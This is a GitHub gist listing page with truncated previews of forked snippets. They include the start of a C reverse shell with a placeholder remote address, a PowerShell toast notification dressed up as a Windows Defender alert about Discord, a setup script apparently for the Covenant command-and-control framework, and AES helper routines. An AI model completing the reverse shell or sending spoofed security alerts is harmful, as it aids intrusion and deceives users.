Skip to content

Instantly share code, notes, and snippets.

@Kyle-Jeynes
Kyle-Jeynes / reverse_shell.c
Created February 1, 2022 06:42 — forked from 0xabe-io/reverse_shell.c
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX
@Kyle-Jeynes
Kyle-Jeynes / ToastNotification_Windows10.ps1
Last active December 11, 2021 20:46 — forked from altrive/ToastNotification_Windows10.ps1
Windows 10 toast notification sample
function helper() {
Param ([String]$custom = "Defender successfully took actions found running inside of Discord.",[String]$title = "Windows Defender")
$ErrorActionPreference = "Stop"
$notificationTitle = $custom
[Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] > $null
$template = [Windows.UI.Notifications.ToastNotificationManager]::GetTemplateContent([Windows.UI.Notifications.ToastTemplateType]::ToastText01)
@Kyle-Jeynes
Kyle-Jeynes / install-and-run-covenant.sh
Last active December 8, 2021 19:37 — forked from cfalta/install-and-run-covenant.sh
install and run covenant on ubuntu
#!/bin/bash
# https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu#2110-
wget https://packages.microsoft.com/config/ubuntu/21.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
dpkg -i packages-microsoft-prod.deb
apt update
apt install -y apt-transport-https
apt install -y dotnet-sdk-6.0
@Kyle-Jeynes
Kyle-Jeynes / PoSh_OpenSSL_AES
Created August 18, 2021 20:58 — forked from Darryl-G/PoSh_OpenSSL_AES
Powershell Basic Routines for Encrypt and Decrypt AES 256 CBC using OpenSSL EVP
#PowerShell to create an gibberishaes(and openssl) compatible aes string with salt
#Salted__8bitsalt/aesstring
#thanks for .netcode -> http://stackoverflow.com/questions/5452422/openssl-using-only-net-classes
#
# This outputs the same ciphertext as: echo -n "SomePlainText"|/usr/bin/openssl enc -A -e -aes-256-cbc -a -pass pass:ThePassword
# For decrypt: echo "[cipherText]"|/usr/bin/openssl base64 -d|/usr/bin/openssl enc -A -d -aes-256-cbc -pass pass:ThePassword
function OpenSSLEncrypt($passphrase, $plainText)
{
# generate salt